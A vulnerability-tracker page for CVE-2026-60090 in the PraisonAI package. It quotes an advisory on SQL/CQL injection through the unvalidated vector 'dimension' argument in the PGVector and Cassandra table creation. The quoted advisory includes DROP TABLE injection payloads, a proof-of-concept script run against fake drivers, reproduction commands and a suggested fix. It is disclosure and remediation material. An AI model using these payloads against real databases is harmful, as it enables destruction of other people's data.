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Back to active CVEs
Medium ยท CVSS 9.8CVE-2026-60090GHSA-WF65-4JJX-Q444

PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDLCVE-2026-60090

Answer in brief

CVE-2026-60090 records a Medium severity (CVSS 9.8) vulnerability in PraisonAI: PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL. The current sources do not mark it as known exploited. The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 11, 2026Updated Oct 8, 2026Source checked Oct 8, 2026First seen by HOL Jul 13, 2026Material review Oct 8, 2026
Upstream Advisory

Key facts

Risk
Medium ยท CVSS 9.8
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps praisonai (pip). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
praisonaipip<=4.6.774.6.78

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for praisonai.
  2. 2Review the reported fix. Update praisonai to 4.6.78 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 11, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 8, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jul 13, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencevulncheck.com
Upstream source description

# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL ## Summary The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver. ## Technical Details The affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL. `src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name="schema")`, and `_table_name()` calls `validate_identifier(collection, name="collection name")` before returning `f"{self.schema}.praison_vec_{collection}"`. However, `PGVectorKnowledgeStore.create_collection()` then executes: ```python cur.execute(f""" CREATE TABLE IF NOT EXISTS {table} ( id VARCHAR(255) PRIMARY KEY, content TEXT, content_hash VARCHAR(64), created_at DOUBLE PRECISION, metadata JSONB, embedding vector({dimension}) ) """) ``` No equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`. `src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses: ```python self._session.execute(f""" CREATE TABLE IF NOT EXISTS {name} ( id text PRIMARY KEY, content text, content_hash text, created_at double, embedding vector<float, {dimension}> ) """) ``` Passing a string such as `3>; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`. ## PoV This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded. ```python #!/usr/bin/env python3 """Local PoV for vector-store dimension DDL interpolation. The script imports PraisonAI's current source with fake PostgreSQL/Cassandra drivers, then records the SQL/CQL sent to the driver cursors. No database server is required; the assertion is that the real classes build executable DDL with an attacker-controlled dimension string. """ from __future__ import annotations import argparse import importlib import json import subprocess import sys import types from pathlib import Path from typing import Any class SqlRecorder: def __init__(self) -> None: self.statements: list[dict[str, Any]] = [] def execute(self, statement: str, params: Any = None) -> None: normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines()) self.statements.append({"statement": normalized, "params": params}) def __enter__(self) -> "SqlRecorder": return self def __exit__(self, *_exc: object) -> None: return None class FakeConnection: def __init__(self, recorder: SqlRecorder) -> None: self.recorder = recorder def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder: return self.recorder def commit(self) -> None: return None class FakePool: def __init__(self, recorder: SqlRecorder) -> None: self.conn = FakeConnection(recorder) def getconn(self) -> FakeConnection: return self.conn def putconn(self, _conn: FakeConnection) -> None: return None def closeall(self) -> None: return None class FakeCassandraSession: def __init__(self, recorder: SqlRecorder) -> None: self.recorder = recorder self.keyspace: str | None = None def execute(self, statement: str, params: Any = None) -> list[Any]: self.recorder.execute(statement, params) return [] def set_keyspace(self, keyspace: str) -> None: self.keyspace = keyspace class FakeCluster: recorder: SqlRecorder def __init__(self, *_args: Any, **_kwargs: Any) -> None: self.session = FakeCassandraSession(self.recorder) def connect(self) -> FakeCassandraSession: return self.session def shutdown(self) -> None: return None def install_fake_pg_driver(recorder: SqlRecorder) -> None: psycopg2 = types.ModuleType("psycopg2") pool = types.ModuleType("psycopg2.pool") extras = types.ModuleType("psycopg2.extras") pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder) # type: ignore[attr-defined] extras.RealDictCursor = object # type: ignore[attr-defined] psycopg2.pool = pool # type: ignore[attr-defined] psycopg2.extras = extras # type: ignore[attr-defined] sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras def install_fake_cassandra_driver(recorder: SqlRecorder) -> None: cassandra = types.ModuleType("cassandra") cluster = types.ModuleType("cassandra.cluster") auth = types.ModuleType("cassandra.auth") FakeCluster.recorder = recorder cluster.Cluster = FakeCluster # type: ignore[attr-defined] auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object() # type: ignore[attr-defined] sys.modules["cassandra"] = cassandra sys.modules["cassandra.cluster"] = cluster sys.modules["cassandra.auth"] = auth def git_value(source_root: Path, *args: str) -> str: return subprocess.check_output(["git", *args], cwd=source_root, text=True).strip() def try_invalid_collection(store: Any) -> str: try: store.create_collection("docs; DROP TABLE blocked; --", 3) except Exception as exc: # noqa: BLE001 - output records exact guard behavior. return f"{type(exc).__name__}: {exc}" return "accepted" def run_pgvector(source_root: Path) -> dict[str, Any]: recorder = SqlRecorder() install_fake_pg_driver(recorder) sys.path.insert(0, str(source_root / "src" / "praisonai")) mod = importlib.import_module("praisonai.persistence.knowledge.pgvector") store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", auto_create_extension=False) invalid_collection = try_invalid_collection(store) recorder.statements.clear() store.create_collection("docs", 3) safe_statements = list(recorder.statements) recorder.statements.clear() payload = "3); DROP TABLE tenant_secrets; --" store.create_collection("docs", payload) malicious_statements = list(recorder.statements) return { "payload": payload, "invalid_collection_control": invalid_collection, "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements), "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements), "safe_statements": safe_statements, "malicious_statements": malicious_statements, } def run_cassandra(source_root: Path) -> dict[str, Any]: recorder = SqlRecorder() install_fake_cassandra_driver(recorder) sys.path.insert(0, str(source_root / "src" / "praisonai")) mod = importlib.import_module("praisonai.persistence.knowledge.cassandra") store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonai_safe") invalid_collection = try_invalid_collection(store) recorder.statements.clear() store.create_collection("docs", 3) safe_statements = list(recorder.statements) recorder.statements.clear() payload = "3>; DROP TABLE tenant_secrets; --" store.create_collection("docs", payload) malicious_statements = list(recorder.statements) return { "payload": payload, "invalid_collection_control": invalid_collection, "safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements), "malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements), "safe_statements": safe_statements, "malicious_statements": malicious_statements, } def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("--source-root", type=Path, default=Path.cwd()) args = parser.parse_args() source_root = args.source_root.resolve() output = { "source": { "repository": "MervinPraison/PraisonAI", "head": git_value(source_root, "rev-parse", "HEAD"), "describe": git_value(source_root, "describe", "--tags", "--always", "--dirty"), }, "pgvector": run_pgvector(source_root), "cassandra": run_cassandra(source_root), } assert output["pgvector"]["invalid_collection_control"].startswith("ValueError:"), output assert output["cassandra"]["invalid_collection_control"].startswith("ValueError:"), output assert output["pgvector"]["safe_contains_drop_table"] is False, output assert output["cassandra"]["safe_contains_drop_table"] is False, output assert output["pgvector"]["malicious_contains_drop_table"] is True, output assert output["cassandra"]["malicious_contains_drop_table"] is True, output print(json.dumps(output, indent=2, sort_keys=True)) if __name__ == "__main__": main() ``` ## PoC Save the PoV script above as `pov_vector_dimension_ddl_injection.py`, then reproduce against current head: ```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 pov_vector_dimension_ddl_injection.py --source-root . ``` Decisive PGVector output: ```json { "pgvector": { "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores", "safe_contains_drop_table": false, "malicious_contains_drop_table": true, "malicious_statements": [ { "statement": "CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)" } ] } } ``` Decisive Cassandra output: ```json { "cassandra": { "invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores", "safe_contains_drop_table": false, "malicious_contains_drop_table": true, "malicious_statements": [ { "statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenant_secrets; --> ...)" } ] } } ``` The local controls also showed safe integer dimensions produce `embedding vector(3)` and `embedding vector<float, 3>` without `DROP TABLE`, while malicious collection names are rejected before driver execution. ## Impact This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges. ## Suggested Fix Validate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth: ```python def validate_vector_dimension(value: object) -> int: if isinstance(value, bool) or not isinstance(value, int): raise ValueError("dimension must be an integer") if value <= 0 or value > 200000: raise ValueError("dimension is outside the supported range") return value ``` Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3>; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests. ## Affected Package/Versions Affected package: `praisonai`. The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai >= 3.10.0, <= 4.6.64` plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source. ## Advisory History Repository security advisories were checked on 2026-06-19. The closest public advisory is `GHSA-3643-7v76-5cj2`, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are `embedding vector({dimension})` and `embedding vector<float, {dimension}>`, and the issue remains after the identifier hardening. Other checked comparators include conversation-store `table_prefix` SQL injection advisories (`GHSA-rg3h-x3jw-7jm5`, `GHSA-x783-xp3g-mqhp`) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL. ## References - `src/praisonai/praisonai/persistence/knowledge/pgvector.py` - `src/praisonai/praisonai/persistence/knowledge/cassandra.py` - `src/praisonai/praisonai/persistence/knowledge/base.py` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp`

Quoted source text, attributed separately from HOL analysis.

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Record context

Vulnerability class
SQL Injection
EPSS
Not reported
CWE IDs
CWE-89, CWE-943
Source
GitHub Security Advisories
Source checked
Oct 8, 2026
References
5 linked sources
Open source record